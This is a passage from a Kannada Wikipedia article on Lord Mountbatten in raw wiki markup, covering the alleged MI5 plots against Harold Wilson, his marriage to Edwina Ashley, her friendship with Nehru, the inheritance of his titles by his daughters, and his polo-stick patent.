ಕಾರ್ಯಾಚರಣೆಯಾಗಿ ಇದನ್ನು ಮಾಡಲು ಆದೇಶಿಸಲಾಗಿತ್ತು ಎಂಬುದನ್ನು ಒತ್ತಿ ಹೇಳಿದ್ದರು. ವಿಲ್ಸನ್‌ರಿಗೆ ಕೂಡಾ ಬಲಪಂಥೀಯ MI೫ ಅಧಿಕಾರಿಗಳ ಸಣ್ಣ ತಂಡವೊಂದು ತಮ್ಮ ವಿರುದ್ಧ ಚಾರಿತ್ರ್ಯ ವಧೆಯ ಆಂದೋಲನವನ್ನು ಕೈಗೊಳ್ಳುತ್ತಿದ್ದಾರೆ ಎಂಬ ಬಗ್ಗೆ ಮನವರಿಕೆಯಾಗಿತ್ತು. ಕನಿಷ್ಟ ೧೯೮೮ರವರೆಗೆ ಈ ಮುಂಚೆ ಇಂತಹಾ ಆರೋಪಗಳನ್ನು ವಿಲ್ಸನ್‌ರ ಸಂಶಯಪಿಶಾಚಿತನವೆಂದು ತಳ್ಳಿಹಾಕಲಾಗುತ್ತಿತ್ತು, ಆ ಸಮಯದಲ್ಲಿ ಪೀಟರ್‌ ರೈಟ್‌ ತನ್ನ ಕೃತಿಯಲ್ಲಿ ಮಾಡಲಾಗಿರುವ ಆರೋಪಗಳು "ನಂಬಲನರ್ಹವಾದವು " ಹಾಗೂ ತೀರಾ ಉತ್ಪ್ರೇಕ್ಷೆಯಿಂದ ಕೂಡಿದುದು ಎಂದು ಒಪ್ಪಿಕೊಂಡಿದ್ದರು.<ref>{{Cite news| title = Spies like us, The Guardian: 11 September 2001 |url=https://www.theguardian.com/politics/2001/sep/11/freedomofinformation.media | location=London | date=11 September 2001 | accessdate=11 May 2010 | first=Stella | last=Rimington}}</ref><ref>{{Cite web | title = Top 50 Political Scandals, The Spectator | url = http://www.spectator.co.uk/the-magazine/features/3756033/part_5/top-50-political-scandals-part-one.thtml | access-date = 6 ಮೇ 2011 | archive-date = 5 ಆಗಸ್ಟ್ 2009 | archive-url = https://web.archive.org/web/20090805111916/http://www.spectator.co.uk/the-magazine/features/3756033/part_5/top-50-political-scandals-part-one.thtml | url-status = dead }}</ref> ಆದಾಗ್ಯೂ BBCಯ ಈ ಸಾಕ್ಷ್ಯಚಿತ್ರದಲ್ಲಿ ಹಲವು ಹೊಸ ಸಾಕ್ಷಿಗಳನ್ನು ಸಂದರ್ಶಿಸಿದಾಗ ಅವರುಗಳು ಈ ಆರೋಪಗಳಿಗೆ ಹೊಸದಾದ ಸಮರ್ಥನೆಗಳನ್ನು ನೀಡಿದ್ದರು. ನಿರ್ಣಾಯಕವಾಗಿ ೨೦೦೯ರಲ್ಲಿ ಪ್ರಕಟವಾದ ''ದ ಡಿಫೆನ್ಸ್‌ ಆಫ್‌ ದ ರಿಯಾಲ್ಮ್‌ '' ಎಂಬ MI೫ಯ ಪ್ರಥಮ ದರ್ಜೆಯ ಅಧಿಕಾರಿಗಳ ಇತಿಹಾಸವನ್ನು ಕುರಿತಾದ ಕೃತಿಯು ಗೌಪ್ಯವಾಗಿ ವಿಲ್ಸನ್‌ರ ವಿರುದ್ಧವಾಗಿ ಒಂದು ಒಳಸಂಚನ್ನು ಹೂಡಲಾಗಿತ್ತು ಹಾಗೂ MI೫ ಆತನ ಬಗ್ಗೆ ಒಂದು ಕಡತವನ್ನು ಹೊಂದಿದೆ ಎಂಬುದನ್ನು ಖಚಿತಪಡಿಸಿತ್ತು. ಅಷ್ಟು ಮಾತ್ರವಲ್ಲದೇ ಅದು ಈ ಒಳಸಂಚು ಯಾವುದೇ ರೀತಿಯಲ್ಲಿ ಅಧಿಕೃತ ಕಾರ್ಯಾಚರಣೆಯಾಗಿರಲಿಲ್ಲ ಹಾಗೂ ಇದಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಯಾವುದೇ ಚಟುವಟಿಕೆಯು ಕೆಲವು ಅತೃಪ್ತ ಅಧಿಕಾರಿಗಳ ಸಣ್ಣ ತಂಡವೊಂದಕ್ಕೆ ಮಾತ್ರವೇ ಅನ್ವಯಿಸುತ್ತಿತ್ತು ಎಂದೂ ಸ್ಪಷ್ಟಪಡಿಸಿದೆ. ಇಷ್ಟು ಮಾತ್ರ ವಿಚಾರವನ್ನು ಮಾಜಿ ಸಂಪುಟ ಕಾರ್ಯದರ್ಶಿಗಳಾಗಿದ್ದ ಲಾರ್ಡ್‌‌ ಹಂಟ್‌ರು ಈ ಮೊದಲೇ ಖಚಿತಪಡಿಸಿದ್ದರು ೧೯೯೬ರಲ್ಲಿ ನಡೆಸಲಾದ ಒಂದು ಗುಪ್ತ ತನಿಖೆಯಲ್ಲಿ ಅವರು ಹೀಗೆಂದು ತಮ್ಮ ಅಭಿಪ್ರಾಯ ದಾಖಲಿಸಿದ್ದರು "MI೫ನಲ್ಲಿ ಕೆಲವರು ತೀರ ಅಲ್ಪ ಸಂಖ್ಯೆಯಲ್ಲಿ ಅಸಂತುಷ್ಟರಿದ್ದಾರೆಂಬುದು ನಿಸ್ಸಂಶಯವಾಗಿ ಸತ್ಯ . . . ಪೀಟರ್‌ ರೈಟ್‌ರಂತಹಾ ಅವರುಗಳಲ್ಲಿ ಕೆಲವರು ಬಹುತೇಕ ಬಲಪಂಥೀಯರಾಗಿದ್ದು ಹಗೆತನವನ್ನು ಹಾಗೂ ತೀವ್ರ ಪ್ರಮಾಣದ ವೈಯಕ್ತಿಕ ದ್ವೇಷಗಳನ್ನು ಇಟ್ಟುಕೊಂಡವರಿದ್ದಾರೆ – ಇವರುಗಳು ಈ ದ್ವೇಷಕ್ಕೆ ಬಲಿಯಾಗಿ ಲೇಬರ್‌ ಪಕ್ಷದ ಸರ್ಕಾರದ ವಿರುದ್ಧವಾಗಿ ಮಾನಹಾನಿಕರ ದ್ವೇಷಮಯ ಕಥೆಗಳನ್ನು ಹರಡುತ್ತಿದ್ದಾರೆ."<ref>{{Cite news| url=https://www.theguardian.com/books/2009/oct/10/defence-of-the-realm-mi5 | work=The Guardian | location=London | title=The Defence of the Realm: The Authorized History of MI5 by Christopher Andrew | first=David | last=Leigh | date=10 October 2009 | accessdate=11 May 2010}}</ref> ಈ ಒಂದು ಸಂಚಿನಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌ರ ಪಾತ್ರವು ಅಸ್ಪಷ್ಟವಾಗಿಯೇ ಉಳಿದಿದೆ. ಕನಿಷ್ಟ ಮಟ್ಟಿಗೆ ಖಚಿತವಾಗಿರುವ ಪ್ರಕಾರ ೧೯೭೦ರ ದಶಕದಲ್ಲಿ ರಾಷ್ಟ್ರದ ಬಗ್ಗೆ ತೀವ್ರ ಕಳಕಳಿಯನ್ನು ಹೊಂದಿದ್ದ ಹಾಗೂ ಸರ್ಕಾರದ ವಿರುದ್ಧ ಹೋರಾಟಗಳನ್ನು ಕೈಗೊಳ್ಳಲು ತಯಾರಾಗಿದ್ದ ಹಲವರೊಂದಿಗೆ ಸಂಬಂಧವನ್ನು ಹೊಂದಿದ್ದರು. ಅವರ ಭಾವನೆಗಳೊಂದಿಗೆ ಈತನೂ ಸಹಮತವನ್ನು ಹೊಂದಿದ್ದರು ಎಂಬುದೂ ಖಚಿತವಾಗಿದೆ. ಆದಾಗ್ಯೂ BBC ಸಾಕ್ಷ್ಯಚಿತ್ರವು ಕ್ಷಿಪ್ರ ಕಾರ್ಯಾಚರಣೆಯ ಯೋಜಕರಿಗೆ ತನ್ನ ಸಹಾಯವನ್ನು ನೀಡುವ ಅಪೇಕ್ಷೆಯನ್ನು ಆರೋಪಿಸಿರುವುದಾದರೂ, ಅವರು ವಾಸ್ತವವಾಗಿಯೂ ಅಂತಹುದೊಂದು ಕಾರ್ಯರೂಪಕ್ಕೆ ಬಂದಿರಬಹುದಾಗಿದ್ದ ಕ್ಷಿಪ್ರ ಕಾರ್ಯಾಚರಣೆಯ ಮೇಲ್ವಿಚಾರಣೆಯನ್ನು ವಹಿಸಿದ್ದರು ಎಂಬುದನ್ನು ಖಚಿತಪಡಿಸಲಾಗಿಲ್ಲ. ಇಲ್ಲಿ ಗಮನಿಸಬೇಕಾದ ವಿಚಾರವೆಂದರೆ ಹಾಗೆ ಚರ್ಚಿಸಲಾದ ಯಾವುದೇ ಒಳಸಂಚುಗಳು ವಾಸ್ತವವಾಗಿ ಯಾವುದೂ ಕಾರ್ಯರೂಪಕ್ಕೆ ಬಂದಿರಲಿಲ್ಲ ಹಾಗೂ ಬಹುಶಃ ಇದಕ್ಕೆ ಕಾರಣ ಇದರಲ್ಲಿ ಒಳಗೊಂಡಿದ್ದ ಜನರ ಸಂಖ್ಯೆಯು ತೀರ ಕಡಿಮೆ ಇದ್ದು ಅದು ಯಶಸ್ವಿಯಾಗುವ ಸಾಧ್ಯತೆ ತೀರ ಕಡಿಮೆಯಾಗಿತ್ತು.{{Or|date=August 2010}} ==ವೈಯಕ್ತಿಕ ಜೀವನ== ===ವಿವಾಹ=== [[File:Louis and Edwina Mountbatten 01.jpg|thumb|200px|ಲೂಯಿಸ್‌ ಮತ್ತು ಎಡ್ವಿನಾ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌]] [[File:The Earl Mountbatten of Burma at home Allan Warren.jpg|thumb|200px|ಅಲ್ಲನ್‌ ವಾರ್ರೆನ್‌‌ ವಿರಚಿತ ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಆಫ್‌ ಬರ್ಮಾ ಇನ್‌ 1976.]] {{Refimprove|date=August 2010}} ಕುಟುಂಬದವರು ಹಾಗೂ ಸ್ನೇಹಿತರ ಮಧ್ಯೆ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಅಡ್ಡ ಹೆಸರು "ಡಿಕೀ," ಎಂಬುದಾಗಿತ್ತು, ಇಲ್ಲಿ ಗಮನಿಸಬೇಕಾದ ವಿಚಾರವೆಂದರೆ "ರಿಚರ್ಡ್‌ " ಎಂಬುದು ಆತನ ಹೆಸರಿಸಲಾದ ಹೆಸರುಗಳಲ್ಲಿ ಸೇರಿರಲಿಲ್ಲ. ಇದು ಹೀಗೇಕಾಯಿತೆಂದರೆ ಆತನ ಮುತ್ತಜ್ಜಿ ರಾಣಿ ವಿಕ್ಟೋರಿಯಾರು "ನಿಕೀ " ಎಂಬ ಅಡ್ಡಹೆಸರನ್ನು ಸೂಚಿಸಿದ್ದರು, ಆದಾಗ್ಯೂ ರಷ್ಯನ್‌‌ ರಾಜಕುಟುಂಬದಲ್ಲಿದ್ದ ಹಲವು (ಕಡೆಯ ತ್ಸಾರ್‌ ಆಗಿದ್ದ ನಿಕೋಲಸ್‌‌‌‌ IIರನ್ನು ಹೆಸರಿಸಲು "ನಿಕೀ" ಹೆಸರನ್ನು ಬಳಸಲಾಗುತ್ತಿತ್ತು) ನಿಕೀಗಳೊಂದಿಗೆ ಸೇರಿ ಹೋಗಿತ್ತು ಆದ್ದರಿಂದ ಅವರು ಅದನ್ನು ಡಿಕೀಗೆ ಬದಲಿಸಿದ್ದರು. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ವಿವಾಹವು ೧೮ ಜುಲೈ ೧೯೨೨ರಂದು ಸ್ವತಃ ಷಾಫ್ಟೆಸ್‌ಬರ್ರಿಯ ೭ನೆಯ ಅರ್ಲ್‌ನ ಮೊಮ್ಮಗನಾಗಿದ್ದ ನಂತರ ಮೌಂಟ್‌ ಟೆಂಪಲ್‌‌ ನ ೧ನೆಯ ಬ್ಯಾರನ್‌ ಆದ ವಿಲ್‌ಫ್ರೆಡ್‌ ವಿಲಿಯಂ ಆಷ್ಲೆಯ ಪುತ್ರಿ ಎಡ್ವಿನಾ ಸಿಂಥಿಯಾ ಆನ್ನೆಟ್‌ ಆಷ್ಲೆಳೊಂದಿಗೆ ನೆರವೇರಿತು. ಆಕೆಯು ಎಡ್ವರ್ಡಿಯನ್‌ ಪ್ರಭಾವಿ ಉದ್ಯಮಿ ಸರ್‌ ಅರ್ನೆಸ್ಟ್‌ ಕ್ಯಾಸ್ಸೆಲ್‌ನ ಪ್ರೀತಿಪಾತ್ರಳಾದ ಮೊಮ್ಮಗಳಾಗಿದ್ದು ಆತನ ಅಪಾರ ಆಸ್ತಿಗೆ ಆಕೆಯೇ ಪ್ರಧಾನ ಹಕ್ಕುದಾರಳಾಗಿದ್ದಳು. ವಿವಾಹದ ನಂತರ ಐರೋಪ್ಯ ಪ್ರೇಮಿಗಳ ಸ್ಥಾನಗಳು ಹಾಗೂ ಅಮೇರಿಕಾಗಳಿಗೆ ಒಂದು ಚಿತ್ತಾಕರ್ಷಕ ಮಧುಚಂದ್ರದ ಪ್ರವಾಸವು ಏರ್ಪಾಡಾಗಿತ್ತು ಅದರಲ್ಲಿ ಡಗ್ಲಾಸ್‌ ಫೇರ್‌ಬ್ಯಾಂಕ್ಸ್‌, ಮೇರಿ ಪಿಕ್‌ಫರ್ಡ್‌, ಮತ್ತು ಹಾಲಿವುಡ್‌ನಲ್ಲಿ [[ಚಾರ್ಲಿ ಚಾಪ್ಲಿನ್|ಚಾರ್ಲಿ ಚಾಪ್ಲಿನ್‌]]ರವರುಗಳೊಂದಿಗೆ ಭೇಟಿಯು ಸೇರಿತ್ತು ಚಾಪ್ಲಿನ್‌ ಒಂದು ವ್ಯಾಪಕವಾಗಿ ಜನಪ್ರಿಯತೆಯನ್ನು ಹೊಂದಿದ ಮನೆಯಲ್ಲಿ ಕುಳಿತು ನೋಡುವ ಚಲನಚಿತ್ರ "ನೈಸ್‌ ಅಂಡ್‌ ಈಸಿ "ಯನ್ನು ಫೇರ್‌ಬ್ಯಾಂಕ್ಸ್‌, ಪಿಕ್‌ಫರ್ಡ್‌, ಚಾಪ್ಲಿನ್ ಹಾಗೂ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ದಂಪತಿಗಳ ಪಾತ್ರವರ್ಗವನ್ನು ಹೊಂದಿದ್ದ ಚಿತ್ರವಾಗಿ ಸಿದ್ಧಪಡಿಸಿದ್ದರು. ಈ ದಂಪತಿಗಳಿಗೆ ಇಬ್ಬರು ಹೆಣ್ಣುಮಕ್ಕಳಿದ್ದರು : ಅವರುಗಳೆಂದರೆ ಬರ್ಮಾದ ೨ನೆಯ ಕೌಂಟೆಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಆಗಿದ್ದ ಪೆಟ್ರೀಷಿಯಾ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ (೧೪ ಫೆಬ್ರವರಿ ೧೯೨೪ರಂದು ಜನನ), ಹಾಗೂ ಲೇಡಿ ಪಮೇಲಾ ಕಾರ್ಮೆನ್‌ ಲೂಯಿಸ್ಸೆ/ಸೆ (ಹಿಕ್ಸ್‌) (೧೯ ಏಪ್ರಿಲ್‌ ೧೯೨೯ರಂದು ಜನನ).{{Citation needed|date=August 2010}} ಈ ದಂಪತಿಗಳ ನಡುವಿನ ಸಂಬಂಧವು ಮೊದಲಿನಿಂದಲೇ ಕೆಲವು ವಿಚಾರಗಳಲ್ಲಿ ಒಬ್ಬರಿಗೊಬ್ಬರು ಅನುರೂಪರಲ್ಲವೆಂದೆನಿಸತೊಡಗಿತು. ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನ ಸುವ್ಯವಸ್ಥಿತವಾಗಿಟ್ಟುಕೊಳ್ಳುವ ಮನೋಭಾವದಿಂದಾಗಿ ಆತನು ಎಡ್ವಿನಾಳನ್ನು ತೀರ ವೈಯಕ್ತಿಕವಾಗಿ ಗಮನಿಸತೊಡಗಿದನು ಹಾಗೂ ಆಕೆ ಯಾವಾಗಲೂ ತನ್ನ ಕಡೆಗೆಯೇ ಗಮನಹರಿಸಬೇಕೆಂದು ಬಯಸುತ್ತಿದ್ದನು. ಯಾವುದೇ ರೀತಿಯ ಹವ್ಯಾಸಗಳನ್ನು ಅಥವಾ ತೀವ್ರಾಸಕ್ತಿಗಳನ್ನು ಬೆಳೆಸಿಕೊಳ್ಳದ ಹಾಗೂ ರಾಜಕುಲದ ಜೀವನಶೈಲಿಯಲ್ಲಿ ಜೀವಿಸುತ್ತಿದ್ದ, ಎಡ್ವಿನಾ ತನ್ನ ಬಹುತೇಕ ಸಮಯವನ್ನು ಬ್ರಿಟಿಷ್‌‌ ಹಾಗೂ ಭಾರತೀಯ ಉಚ್ಚ ಕುಲೀನರ ಜೊತೆ ಔತಣಕೂಟಗಳ ಭಾಗವಹಿಸುವುದು, ವಿಹಾರಗಳಿಗೆ ತೆರಳುವುದು ಹಾಗೂ ವಾರಾಂತ್ಯಗಳಲ್ಲಿ ದಂಪತಿಗೆ ಮೀಸಲಾಗಿದ್ದ ಹಳ್ಳಿಯ ಮನೆಯೊಂದರಲ್ಲಿ ಏಕಾಂತದಲ್ಲಿರುತ್ತಾ ಕಾಲಕಳೆಯುತ್ತಿದ್ದಳು. ಇಬ್ಬರಲ್ಲೂ ವೈಮನಸ್ಕತೆ ಹೆಚ್ಚುತ್ತಿದ್ದಾಗ್ಯೂ ಸೇನಾಪಡೆಯಲ್ಲಿನ ಅಧಿಕಾರ ಶ್ರೇಣಿಯಲ್ಲಿ ಮೇಲೇರಬಹುದಾದ ಅವಕಾಶ ತಪ್ಪಿಹೋಗಬಹುದೆಂಬ ಭಯದಿಂದ ಲೂಯಿಸ್‌ ವಿವಾಹ ವಿಚ್ಛೇದನವನ್ನು ಹೊಂದಲು ನಿರಾಕರಿಸುತ್ತಿದ್ದ. ಇಬ್ಬರ ಮೇಲೂ ದಾಂಪತ್ಯದ್ರೋಹಗಳ ಆಪಾದನೆಗಳಿದ್ದವು. ಎಡ್ವಿನಾಳು ಹೊಂದಿದ್ದ ಹಲವು ಪ್ರಣಯಪ್ರಸಂಗಗಳಿಂದಾಗಿ ಯೋಲಾ ಲೆಟೆಲ್ಲಿಯರ್‌‌ ಎಂಬ ಫ್ರೆಂಚ್‌ ಮಹಿಳೆಯೊಂದಿಗೆ ಸಂಬಂಧವನ್ನು ಹೊಂದುವಂತೆ ಲೂಯಿಸ್‌ನನ್ನು ಪ್ರೇರೇಪಿಸಿತು.{{Citation needed|date=August 2010}} ಇದಾದ ನಂತರದಿಂದ ಅವರ ವೈವಾಹಿಕ ಜೀವನವು ಸತತವಾಗಿ ಪರಸ್ಪರ ದೋಷಾರೋಪಣೆಗಳು ಹಾಗೂ ಅನುಮಾನಗಳಿಂದ ಕೂಡಿದ್ದು ಸಂಬಂಧವು ಸಡಿಲವಾಗಲಾರಂಭಿಸಿತು. ೧೯೩೦ರ ದಶಕದುದ್ದಕ್ಕೂ ಇಬ್ಬರೂ ಬಹಿರಂಗವಾಗಿಯೇ ಹಲವು ಪ್ರಣಯ ಪ್ರಸಂಗಗಳಲ್ಲಿ ತೊಡಗಿಕೊಂಡಿದ್ದರು. ವಿಶ್ವ ಸಮರ IIರ ಘೋಷಣೆಯು ಎಡ್ವಿನಾಳಿಗೆ ಲೂಯಿಸ್‌ನ ದಾಂಪತ್ಯದ್ರೋಹದ ಹೊರತಾಗಿ ಬೇರೆ ವಿಚಾರದ ಬಗ್ಗೆ ಗಮನ ಹರಿಸಲು ಅವಕಾಶವನ್ನು ಮಾಡಿಕೊಟ್ಟಿತು. ಆಕೆಯು St. ಜಾನ್‌ರ ಆಂಬ್ಯುಲೆನ್ಸ್‌ ಬ್ರಿಗೇಡ್‌ ಎಂಬ ತುರ್ತುಚಿಕಿತ್ಸಾ ವಾಹನ ಸೇವೆಯ ಸಂಸ್ಥೆಯಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಾಹಕಿಯಾಗಿ ಸೇರಿಕೊಂಡಳು. ಈ ಒಂದು ಹೊಣೆಗಾರಿಕೆಯು ಪಂಜಾಬ್‌ನ ಜನರು ಅನುಭವಿಸುತ್ತಿದ್ದ ನೋವು ಹಾಗೂ ವೇದನೆಗಳನ್ನು ಕಡಿಮೆಗೊಳಿಸಲು ಆಕೆ ಮಾಡಿದ ಪ್ರಯತ್ನಗಳಿಂದಾಗಿ ವಿಭಜನೆಯ ಅವಧಿಯ ನಾಯಕಿಯಾಗುವ{{Who|date=August 2010}} ಹಿರಿಮೆಯನ್ನು ಎಡ್ವಿನಾಳಿಗೆ ತಂದುಕೊಟ್ಟಿತು.{{Citation needed|date=August 2010}} ಎಡ್ವಿನಾ ಹಾಗೂ ಭಾರತದ ಪ್ರಥಮ PM ಜವಾಹರ್‌ ಲಾಲ್‌ ನೆಹರೂರವರಿಬ್ಬರೂ ಭಾರತವು ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ಪಡೆದ ನಂತರ ಸಮೀಪವರ್ತಿ ಸ್ನೇಹಿತರಾಗಿದ್ದರು ಎಂಬುದು ಸಾಕಷ್ಟು ಸ್ಪಷ್ಟವಾಗಿಯೇ ದಾಖಲಾಗಿದೆ. ಬೇಸಿಗೆಯ ಅವಧಿಯಲ್ಲಿ ಆಕೆಯು PMರ ನಿವಾಸಕ್ಕೆ ಆಗ್ಗಾಗ್ಗೆ ಭೇಟಿ ನೀಡುತ್ತಾ ದೆಹಲಿಯಲ್ಲಿನ ಬೇಗೆಯ ದಿನಗಳಲ್ಲಿ ನಿವಾಸದ ಜಗಲಿಯಲ್ಲಿ ಆರಾಮವಾಗಿ ಅಲೆದಾಡುತ್ತಿರುತ್ತಿದ್ದಳು. ಇಬ್ಬರ ನಡುವಿನ ಪತ್ರ ವ್ಯವಹಾರಗಳು ಸಮಾಧಾನಕರ ಆದರೂ ಹತಾಶೆಯಿಂದ ಕೂಡಿದ ಸಂಬಂಧವನ್ನು ಶ್ರುತಪಡಿಸುತ್ತದೆ. ತಾನು ಬರೆದ ಪತ್ರಗಳಲ್ಲೊಂದರಲ್ಲಿ ಎಡ್ವಿನಾಳು ಹೀಗೆ ಹೇಳಿರುತ್ತಾಳೆ "ನಾವು ಮಾಡಿದ ಇಲ್ಲವೇ ಭಾವಿಸಿದ ಯಾವುದೇ ಒಂದು ನೀವು ಹಾಗೂ ನಿಮ್ಮ ಕೆಲಸ ಅಥವಾ ನಾನು ಮತ್ತು ನನ್ನ ಕೆಲಸಗಳಿಗೆ ಸಂಬಂಧಪಟ್ಟ ಹಾಗೆ ನಮ್ಮಿಬ್ಬರ ನಡುವೆ ಬರುವುದಕ್ಕೆ ಅವಕಾಶವಿಲ್ಲ -- ಏಕೆಂದರೆ ಹಾಗೆ ಮಾಡಿದರೆ ಅದು ಎಲ್ಲವನ್ನೂ ಹಾಳುಮಾಡಬಲ್ಲದು."<ref>ಬೈಲೆ, ಕ್ಯಾಥೆರೀನ್‌ , "ಇಂಡಿಯಾಸ್‌ ಲಾಸ್ಟ್‌ ವೈಸ್‌ರೀನ್‌," ''ಬ್ರಿಟಿಷ್‌‌ ಹೆರಿಟೇಜ್‌,'' Vol. ೨೧, ಸಂಚಿಕೆ ೩, Apr/May ೨೦೦೦, pp. ೧೬</ref> ಇಷ್ಟೆಲ್ಲಾ ಆದರೂ, ಅವರಿಬ್ಬರ ನಡುವಿನ ಸಂಬಂಧವು ದೈಹಿಕ ಸಂಪರ್ಕದವರೆಗೂ ಮುಂದುವರೆದಿತ್ತೇ ಅಥವಾ ಇಲ್ಲವೇ ಎಂಬುದು ಚರ್ಚಾರ್ಹ ವಿಚಾರವಾಗಿಯೇ ಉಳಿದಿದೆ. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಪುತ್ರಿಯರಿಬ್ಬರೂ ಮುಚ್ಚುಮರೆಯಿಲ್ಲದೇ ತಮ್ಮ ತಾಯಿಯು ಆವೇಶಪೂರಿತ ಸ್ವಭಾವವನ್ನು ಹೊಂದಿದ್ದಳೆಂದು ಹಾಗೂ ತನ್ನ ಪತಿಯ ಉನ್ನತ ಸ್ಥಾನದ ಬಗೆಗಿನ ಮತ್ಸರವು ತಮ್ಮಿಬ್ಬರ ನಡುವಿನ ಬಾಂಧವ್ಯವನ್ನು ಹಿಂದೆ ಹಾಕುವ ಸಂದರ್ಭಗಳಲ್ಲಿ ತನ್ನ ಪತಿಯ ಬೆಂಬಲಕ್ಕೆ ಎಂದೂ ನಿಂತಿರುತ್ತಿರಲಿಲ್ಲ ಎಂದು ಒಪ್ಪಿಕೊಂಡಿರುತ್ತಾರೆ. ಲೇಡಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ೨೧ ಫೆಬ್ರವರಿ ೧೯೬೦ರಂದು ತಮ್ಮ ೫೮ನೆಯ ವಯಸ್ಸಿನಲ್ಲಿ ನಾರ್ತ್‌ ಬಾರ್ನಿಯೋದಲ್ಲಿ ವೈದ್ಯಕೀಯ ಸೌಲಭ್ಯಗಳ ತಪಾಸಣೆಯನ್ನು ಕೈಗೊಂಡಿದ್ದಾಗ ಮರಣಿಸಿದ್ದರು. ಹೃದಯದ ಸಮಸ್ಯೆಯಿಂದಾಗಿ ಆಕೆಯ ಮರಣವು ಸಂಭವಿಸಿರಬಹುದೆಂದು ಭಾವಿಸಲಾಗಿದೆ.{{Citation needed|date=August 2010}} ೧೯೭೯ರಲ್ಲಿ ತನ್ನ ಹತ್ಯೆಯಾಗುವವರೆಗೂ, ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ತಾನು ಒಂದು ಕಾಲದಲ್ಲಿ ಅವಳ ಮೇಲೆ ಹೊಂದಿದ್ದ ವ್ಯಾಮೋಹದ ನೆನಪಿಗಾಗಿ ತನ್ನ ಸೋದರ ಸಂಬಂಧಿ ರಷ್ಯಾದ ಗ್ರಾಂಡ್‌ ಡಚೆಸ್‌ ಮಾರಿಯಾ ನಿಕೋಲೇವ್ನಾಳ ಭಾವಚಿತ್ರವನ್ನು ತನ್ನ ಹಾಸಿಗೆಯ ಬಳಿಯಲ್ಲಿ ಯಾವಾಗಲೂ ಇಟ್ಟುಕೊಂಡಿರುತ್ತಿದ್ದರು.<ref>ಕಿಂಗ್‌ ಅಂಡ್‌ ವಿಲ್ಸನ್‌ (೨೦೦೩), p. ೪೯</ref> ===ವಾರಸುದಾರಳಾಗಿ ಮಗಳು=== ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರಿಗೆ ಗಂಡು ಮಕ್ಕಳಿರಲಿಲ್ಲವಾದುದರಿಂದ ೨೩ ಆಗಸ್ಟ್‌‌ ೧೯೪೬ರಂದು ಆತನಿಗೆ ವೈಕೌಂಟ್‌‌ ಪದವಿಯನ್ನು, ನಂತರ ಅರ್ಲ್‌ ಪದವಿಯನ್ನು ಹಾಗೂ ೨೮ ಅಕ್ಟೋಬರ್‌‌ ೧೯೪೭ರಂದು ಬ್ಯಾರನ್‌‌ ಪದವಿಗಳನ್ನು ಪಡೆದಾಗ ಒಡೆತನದ ದಾಖಲೆಗಳನ್ನು ಹಕ್ಕುಗಳು ಪುತ್ರಿಯರಿಗೆ ಹಾಗೂ ನಂತರ ಅವರ ಪುತ್ರವರ್ಗಕ್ಕೆ ಸಲ್ಲುವಂತೆ ಸಿದ್ಧಪಡಿಸಲಾಗಿತ್ತು. ಇದು ಆತನ ಒತ್ತಾಸೆಯ ಆಗ್ರಹವಾಗಿತ್ತು : ನಿರ್ದಿಷ್ಟವಾಗಿ ತನ್ನ ಹಿರಿಯ ಪುತ್ರಿಯೊಂದಿಗೆ ಇದ್ದ ಆತನ ಸಂಬಂಧವು ತೀರ ಹತ್ತಿರದ್ದಾಗಿತ್ತು ಹಾಗೂ ಆಕೆಯು ತನ್ನ ಉಪಾಧಿಗೆ ತನ್ನ ಸ್ವಂತ ಹಕ್ಕಿನಿಂದಲೇ ಬರಬೇಕೆಂಬುದು ಆತನ ವಿಶೇಷ ಇಚ್ಛೆಯಾಗಿತ್ತು. ಬಹು ದೀರ್ಘಕಾಲದಿಂದಲೂ ಸೇನಾಪಡೆಯ ದಳಪತಿಗಳ ವಿಚಾರದಲ್ಲಿ ಇಂತಹಾ ಶೇಷಾಧಿಕಾರದ ನಿದರ್ಶನಗಳು ಇದ್ದೇ ಇವೆ : ಹಿಂದಿನ ಉದಾಹರಣೆಗಳಲ್ಲಿ ೧ನೆಯ ವೈಕೌಂಟ್‌‌ ನೆಲ್ಸನ್‌ ಮತ್ತು ೧ನೆಯ ಅರ್ಲ್‌ ರಾಬರ್ಟ್‌ಸ್‌ಗಳು ಸೇರಿದ್ದರು. ===ಬಿಡುವಿನ ಹವ್ಯಾಸಗಳು=== ರಾಜ ಕುಟುಂಬಗಳ ಹಲವು ಸದಸ್ಯರುಗಳ ಹಾಗೆಯೇ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಕೂಡಾ ಪೋಲೋ ಆಟದ ಕಟ್ಟಾ ಅಭಿಮಾನಿಯಾಗಿದ್ದು ೧೯೩೧ರಲ್ಲಿ ಪೋಲೋ ಸ್ಟಿಕ್‌/ದಾಂಡನ್ನು ರೂಪಿಸಿದ್ದುದಕ್ಕಾಗಿ U.S. ಹಕ್ಕುಸ್ವಾಮ್ಯ ಸಂಖ್ಯೆ ೧,೯೯೩,೩೩೪ಅನ್ನು ಪಡೆದಿದ್ದರು.<ref>{{Cite web| url = http://www.americanheritage.com/articles/magazine/it/1997/4/1997_4_10.shtml| title = Advanced Weaponry of the Stars| accessdate = 2009-12-24| publisher = American Heritage| archive-date = 14 ಮಾರ್ಚ್ 2011| archive-url = https://web.archive.org/web/20110314161122/http://www.americanheritage.com/articles/magazine/it/1997/4/1997_4_10.shtml| url-status = dead}}</ref> ===ವೇಲ್ಸ್‌‌ನ ಪ್ರಭುವಿಗೆ ಸಲಹಾಕಾರತ್ವ=== [[File:Lord Mountbatten Navy Allan Warren.jpg|thumb|ಲಾರ್ಡ್‌‌ 